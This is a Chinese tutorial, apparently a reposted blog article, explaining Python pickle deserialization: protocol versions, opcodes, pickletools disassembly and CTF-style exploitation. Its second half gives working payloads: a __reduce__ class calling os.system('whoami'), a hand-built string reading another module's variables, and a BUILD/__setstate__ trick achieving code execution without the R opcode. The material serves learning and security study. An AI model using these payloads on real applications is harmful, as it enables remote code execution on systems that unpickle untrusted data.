您好,登錄后才能下訂單哦!
這篇文章主要講解了“Python中pickle反序列化的詳細介紹”,文中的講解內(nèi)容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“Python中pickle反序列化的詳細介紹”吧!
python反序列化和php反序列化類似(還沒接觸過java。。),相當于把程序運行時產(chǎn)生的變量,字典,對象實例等變換成字符串形式存儲起來,以便后續(xù)調(diào)用,恢復(fù)保存前的狀態(tài)
python中反序列化的庫主要有兩個,pickle
和cPickle
,這倆除了運行效率上有區(qū)別外,其他沒啥區(qū)別
pickle
的常用方法有
import pickle a_list = ['a','b','c'] # pickle構(gòu)造出的字符串,有很多個版本。在dumps或loads時,可以用Protocol參數(shù)指定協(xié)議版本,例如指定為0號版本 # 目前這些協(xié)議有0,2,3,4號版本,默認為3號版本。這所有版本中,0號版本是人類最可讀的;之后的版本加入了一大堆不可打印字符,不過這些新加的東西都只是為了優(yōu)化,本質(zhì)上沒有太大的改動。 # 一個好消息是,pickle協(xié)議是向前兼容的。0號版本的字符串可以直接交給pickle.loads(),不用擔心引發(fā)什么意外。 # pickle.dumps將對象反序列化為字符串 # pickle.dump將反序列化后的字符串存儲為文件 print(pickle.dumps(a_list,protocol=0)) pickle.loads() #對象反序列化 pickle.load() #對象反序列化,從文件中讀取數(shù)據(jù)
輸出反序列化
讀入反序列化
可以看出,python2
和python3
之間反序列化的結(jié)果有些許差別,我們先以目前的支持版本python3
為主要對象,在后期給出exp的時候再補上python2
python3大多版本中反序列化的字符串默認版本為3號版本,我這里python3.8
的默認版本為4
v0 版協(xié)議是原始的 “人類可讀” 協(xié)議,并且向后兼容早期版本的 Python。 v1 版協(xié)議是較早的二進制格式,它也與早期版本的 Python 兼容。 v2 版協(xié)議是在 Python 2.3 中引入的。它為存儲 new-style class 提供了更高效的機制。欲了解有關(guān)第 2 版協(xié)議帶來的改進,請參閱 PEP 307。 v3 版協(xié)議添加于 Python 3.0。它具有對 bytes 對象的顯式支持,且無法被 Python 2.x 打開。這是目前默認使用的協(xié)議,也是在要求與其他 Python 3 版本兼容時的推薦協(xié)議。 v4 版協(xié)議添加于 Python 3.4。它支持存儲非常大的對象,能存儲更多種類的對象,還包括一些針對數(shù)據(jù)格式的優(yōu)化。有關(guān)第 4 版協(xié)議帶來改進的信息,請參閱 PEP 3154。
為了便于分析和兼容,我們統(tǒng)一使用3
號版本
C:\Users\Rayi\Desktop\Tmp\Script λ python 1.py b'(lp0\nVa\np1\naVb\np2\naVc\np3\na.' #0號 b'\x80\x03]q\x00(X\x01\x00\x00\x00aq\x01X\x01\x00\x00\x00bq\x02X\x01\x00\x00\x00cq\x03e.' #3號 b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x01a\x94\x8c\x01b\x94\x8c\x01c\x94e.'#4號
在挖掘反序列化漏洞之前,我們需要了解python反序列化的流程是怎樣的
直接分析反序列化出的字符串是比較困難的,我們可以使用pickletools
幫助我們進行分析
import pickle import pickletools a_list = ['a','b','c'] a_list_pickle = pickle.dumps(a_list,protocol=0) print(a_list_pickle) # 優(yōu)化一個已經(jīng)被打包的字符串 a_list_pickle = pickletools.optimize(a_list_pickle) print(a_list_pickle) # 反匯編一個已經(jīng)被打包的字符串 pickletools.dis(a_list_pickle)
指令集如下:(更具體的解析可以查看pickletools.py
)
MARK = b'(' # push special markobject on stack STOP = b'.' # every pickle ends with STOP POP = b'0' # discard topmost stack item POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # push float object; decimal string argument INT = b'I' # push integer or bool; decimal string argument BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # push None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # " " " ; " " " " stack REDUCE = b'R' # apply callable to argtuple, both on stack STRING = b'S' # push string; NL-terminated string argument BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X' # " " " ; counted UTF-8 string argument APPEND = b'a' # append stack top to list below it BUILD = b'b' # call __setstate__ or __dict__.update() GLOBAL = b'c' # push self.find_class(modname, name); 2 string args DICT = b'd' # build a dict from stack items EMPTY_DICT = b'}' # push empty dict APPENDS = b'e' # extend list on stack by topmost stack slice GET = b'g' # push item from memo on stack; index is string arg BINGET = b'h' # " " " " " " ; " " 1-byte arg INST = b'i' # build & push class instance LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # build list from topmost stack items EMPTY_LIST = b']' # push empty list OBJ = b'o' # build & push class instance PUT = b'p' # store stack top in memo; index is string arg BINPUT = b'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg SETITEM = b's' # add key+value pair to dict TUPLE = b't' # build tuple from topmost stack items EMPTY_TUPLE = b')' # push empty tuple SETITEMS = b'u' # modify dict by adding topmost key+value pairs BINFLOAT = b'G' # push float; arg is 8-byte float encoding TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
依照上面的表格,這一個序列化的例子就很好理解了
b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.' 0: \x80 PROTO 3 #標明使用協(xié)議版本 2: ] EMPTY_LIST #將空列表壓入棧 3: ( MARK #將標志壓入棧 4: X BINUNICODE 'a' #unicode字符 10: X BINUNICODE 'b' 16: X BINUNICODE 'c' 22: e APPENDS (MARK at 3) #將3號標志后的數(shù)據(jù)壓入列表 # 彈出棧中的數(shù)據(jù),結(jié)束流程 23: . STOP highest protocol among opcodes = 2
我們再來看另一個更復(fù)雜的例子
import pickle import pickletools import base64 class a_class(): def __init__(self): self.age = 114514 self.name = "QAQ" self.list = ["1919","810","qwq"] a_class_new = a_class() a_class_pickle = pickle.dumps(a_class_new,protocol=3) print(a_class_pickle) # 優(yōu)化一個已經(jīng)被打包的字符串 a_list_pickle = pickletools.optimize(a_class_pickle) print(a_class_pickle) # 反匯編一個已經(jīng)被打包的字符串 pickletools.dis(a_class_pickle)
b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.' b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.' 0: \x80 PROTO 3 # push self.find_class(modname, name); 連續(xù)讀取兩個字符串作為參數(shù),以\n為界 # 這里就是self.find_class(‘__main__’, ‘a(chǎn)_class’); # 需要注意的版本不同,find_class函數(shù)也不同 2: c GLOBAL '__main__ a_class' # 不影響反序列化 20: q BINPUT 0 # 向棧中壓入一個元組 22: ) EMPTY_TUPLE # 見pickletools源碼第2097行(注意版本) # 大意為,該指令之前的棧內(nèi)容應(yīng)該為一個類(2行GLOBAL創(chuàng)建的類),類后為一個元組(22行壓入的TUPLE),調(diào)用cls.__new__(cls, *args)(即用元組中的參數(shù)創(chuàng)建一個實例,這里元組實際為空) 23: \x81 NEWOBJ 24: q BINPUT 1 # 壓入一個新的字典 26: } EMPTY_DICT 27: q BINPUT 2 # 一個標志 29: ( MARK # 壓入unicode值 30: X BINUNICODE 'age' 38: q BINPUT 3 40: J BININT 114514 45: X BINUNICODE 'name' 54: q BINPUT 4 56: X BINUNICODE 'QAQ' 64: q BINPUT 5 66: X BINUNICODE 'list' 75: q BINPUT 6 77: ] EMPTY_LIST 78: q BINPUT 7 # 又一個標志 80: ( MARK 81: X BINUNICODE '1919' 90: q BINPUT 8 92: X BINUNICODE '810' 100: q BINPUT 9 102: X BINUNICODE 'qwq' 110: q BINPUT 10 # 將第80行的mark之后的值壓入第77行的列表 112: e APPENDS (MARK at 80) # 詳情見pickletools源碼第1674行(注意版本) # 大意為將任意數(shù)量的鍵值對添加到現(xiàn)有字典中 # Stack before: ... pydict markobject key_1 value_1 ... key_n value_n # Stack after: ... pydict 113: u SETITEMS (MARK at 29) # 通過__setstate__或更新__dict__完成構(gòu)建對象(對象為我們在23行創(chuàng)建的)。 # 如果對象具有__setstate__方法,則調(diào)用anyobject .__setstate__(參數(shù)) # 如果無__setstate__方法,則通過anyobject.__dict__.update(argument)更新值 # 注意這里可能會產(chǎn)生變量覆蓋 114: b BUILD # 彈出棧中的數(shù)據(jù),結(jié)束流程 115: . STOP highest protocol among opcodes = 2
這樣另一個更復(fù)雜的例子就分析完成了
我們現(xiàn)在能大體了解序列化與反序列化的流程
__reduce__
ctf中大多數(shù)常見的pickle反序列化,利用方法大都是__reduce__
觸發(fā)__reduce__
的指令碼為R
# pickletools.py 1955行 name='REDUCE', code='R', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=0, doc="""Push an object built from a callable and an argument tuple. The opcode is named to remind of the __reduce__() method. Stack before: ... callable pytuple Stack after: ... callable(*pytuple) The callable and the argument tuple are the first two items returned by a __reduce__ method. Applying the callable to the argtuple is supposed to reproduce the original object, or at least get it started. If the __reduce__ method returns a 3-tuple, the last component is an argument to be passed to the object's __setstate__, and then the REDUCE opcode is followed by code to create setstate's argument, and then a BUILD opcode to apply __setstate__ to that argument. If not isinstance(callable, type), REDUCE complains unless the callable has been registered with the copyreg module's safe_constructors dict, or the callable has a magic '__safe_for_unpickling__' attribute with a true value. I'm not sure why it does this, but I've sure seen this complaint often enough when I didn't want to <wink>. """
大意為:
取當前棧的棧頂記為
args
,然后把它彈掉。取當前棧的棧頂記為
f
,然后把它彈掉。以
args
為參數(shù),執(zhí)行函數(shù)f
,把結(jié)果壓進當前棧。
只要在序列化中的字符串中存在R
指令,__reduce__
方法就會被執(zhí)行,無論正常程序中是否寫明了__reduce__
方法
例如:
import pickle import pickletools import base64 class a_class(): def __init__(self): self.age = 114514 self.name = "QAQ" self.list = ["1919","810","qwq"] def __reduce__(self): return (__import__('os').system, ("whoami",)) a_class_new = a_class() a_class_pickle = pickle.dumps(a_class_new,protocol=3) print(a_class_pickle) # 優(yōu)化一個已經(jīng)被打包的字符串 a_list_pickle = pickletools.optimize(a_class_pickle) print(a_class_pickle) # 反匯編一個已經(jīng)被打包的字符串 pickletools.dis(a_class_pickle) ''' b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: q BINPUT 0 15: X BINUNICODE 'whoami' 26: q BINPUT 1 28: \x85 TUPLE1 29: q BINPUT 2 31: R REDUCE 32: q BINPUT 3 34: . STOP highest protocol among opcodes = 2 '''
把生成的payload拿到無__reduce__
的正常程序中,命令仍然會被執(zhí)行
記得生成payload時使用的python版本盡量與目標上的版本一致
#coding=utf-8 import pickle import urllib.request #python2 #import urllib import base64 class rayi(object): def __reduce__(self): # 未導(dǎo)入os模塊,通用 return (__import__('os').system, ("whoami",)) # return eval,("__import__('os').system('whoami')",) # return map, (__import__('os').system, ('whoami',)) # return map, (__import__('os').system, ['whoami']) # 導(dǎo)入os模塊 # return (os.system, ('whoami',)) # return eval, ("os.system('whoami')",) # return map, (os.system, ('whoami',)) # return map, (os.system, ['whoami']) a_class = rayi() result = pickle.dumps(a_class) print(result) print(base64.b64encode(result)) #python3 print(urllib.request.quote(result)) #python2 #print urllib.quote(result)
c
指令碼前兩個例子開頭都有c
指令碼
name='GLOBAL', code='c', arg=stringnl_noescape_pair, stack_before=[], stack_after=[anyobject], proto=0, doc="""Push a global object (module.attr) on the stack. Two newline-terminated strings follow the GLOBAL opcode. The first is taken as a module name, and the second as a class name. The class object module.class is pushed on the stack. More accurately, the object returned by self.find_class(module, class) is pushed on the stack, so unpickling subclasses can override this form of lookup. """
簡單來說,c
指令碼可以用來調(diào)用全局的xxx.xxx
的值
看下面的例子
import secret import pickle import pickletools class flag(): def __init__(self,a,b): self.a = a self.b = b # new_flag = pickle.dumps(flag('A','B'),protocol=3) # print(new_flag) # pickletools.dis(new_flag) your_payload = b'?' other_flag = pickle.loads(your_payload) secret_flag = flag(secret.a,secret.b) if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b: print('flag{xxxxxx}') else: print('No!') # secret.py # you can not see this a = 'aaaa' b = 'bbbb'
在我們不知道secret.py
中值的情況下,如何構(gòu)造滿足條件的payload,拿到flag呢?
利用c指令:
這是一般情況下的flag類
λ python app.py b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: ( MARK 27: X BINUNICODE 'a' 33: q BINPUT 3 35: X BINUNICODE 'A' 41: q BINPUT 4 43: X BINUNICODE 'b' 49: q BINPUT 5 51: X BINUNICODE 'B' 57: q BINPUT 6 59: u SETITEMS (MARK at 26) 60: b BUILD 61: . STOP highest protocol among opcodes = 2
第27行和第37行分別進行了傳參,如果我們手動把payload修改一下,將a和b的值改為secret.a
,secret.b
原來的:b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.' 現(xiàn)在的: b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'
我們成功的調(diào)用了secret.py
中的變量
還記得剛才說過的build指令碼嗎
name='BUILD', code='b', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=0, doc="""Finish building an object, via __setstate__ or dict update. Stack before: ... anyobject argument Stack after: ... anyobject where anyobject may have been mutated, as follows: If the object has a __setstate__ method, anyobject.__setstate__(argument) is called. Else the argument must be a dict, the object must have a __dict__, and the object is updated via anyobject.__dict__.update(argument)
通過BUILD指令與C指令的結(jié)合,我們可以把改寫為os.system
或其他函數(shù)
假設(shè)某個類原先沒有__setstate__
方法,我們可以利用{'__setstate__': os.system}
來BUILE這個對象
BUILD指令執(zhí)行時,因為沒有__setstate__
方法,所以就執(zhí)行update,這個對象的__setstate__
方法就改為了我們指定的os.system
接下來利用"ls /"
來再次BUILD這個對象,則會執(zhí)行setstate("ls /")
,而此時__setstate__
已經(jīng)被我們設(shè)置為os.system
,因此實現(xiàn)了RCE.
看一看具體如何實現(xiàn)的:
還是以flag類為例
import pickle import pickletools class flag(): def __init__(self): pass new_flag = pickle.dumps(flag(),protocol=3) print(new_flag) pickletools.dis(new_flag) # your_payload = b'?' # other_flag = pickle.loads(your_payload)
λ python app.py b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: . STOP highest protocol among opcodes = 2
接下來需要我們手撕payload了
根據(jù)BUILD的說明,我們需要構(gòu)造一個字典
b'\x80\x03c__main__\nflag\nq\x00)\x81}.'
接下來往字典里放值,先放一個mark
b'\x80\x03c__main__\nflag\nq\x00)\x81}(.'
放鍵值對
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nu.'
第一次BUILD
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nub.'
放參數(shù)
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\n.'
第二次BUILD
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
完成
我們來試一下
成了,我們在不使用R
指令的情況下完成了RCE
rayi-de-shenchu\rayi 0: \x80 PROTO 3 2: c GLOBAL '__main__ flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: } EMPTY_DICT 22: ( MARK 23: V UNICODE '__setstate__' 37: c GLOBAL 'os system' 48: u SETITEMS (MARK at 22) 49: b BUILD 50: V UNICODE 'whoami' 58: b BUILD 59: . STOP highest protocol among opcodes = 2 [Finished in 0.2s]
python2 區(qū)別不是很大:
import pickle import pickletools import urllib class rayi(): def __init__(self): pass new_rayi = pickle.dumps(rayi(),protocol=2) print(urllib.quote(new_rayi)) pickletools.dis(new_rayi) # your_payload = '\x80\x03c__main__\nrayi\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.' # other_rayi = pickle.loads(your_payload) # pickletools.dis(your_payload)
輸出:
%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02b. 0: \x80 PROTO 2 2: ( MARK 3: c GLOBAL '__main__ rayi' 18: q BINPUT 0 20: o OBJ (MARK at 2) 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: b BUILD 27: . STOP highest protocol among opcodes = 2 [Finished in 0.1s]
修改payload:
%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02(V__setstate__\ncos\nsystem\nubVwhoami\nb.
import pickle import pickletools import urllib class rayi(): def __init__(self): pass # new_rayi = pickle.dumps(rayi(),protocol=2) # print(urllib.quote(new_rayi)) # pickletools.dis(new_rayi) your_payload = urllib.unquote('%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02(V__setstate__\ncos\nsystem\nubVwhoami\nb.') other_rayi = pickle.loads(your_payload) pickletools.dis(your_payload)
感謝各位的閱讀,以上就是“Python中pickle反序列化的詳細介紹”的內(nèi)容了,經(jīng)過本文的學習后,相信大家對Python中pickle反序列化的詳細介紹這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。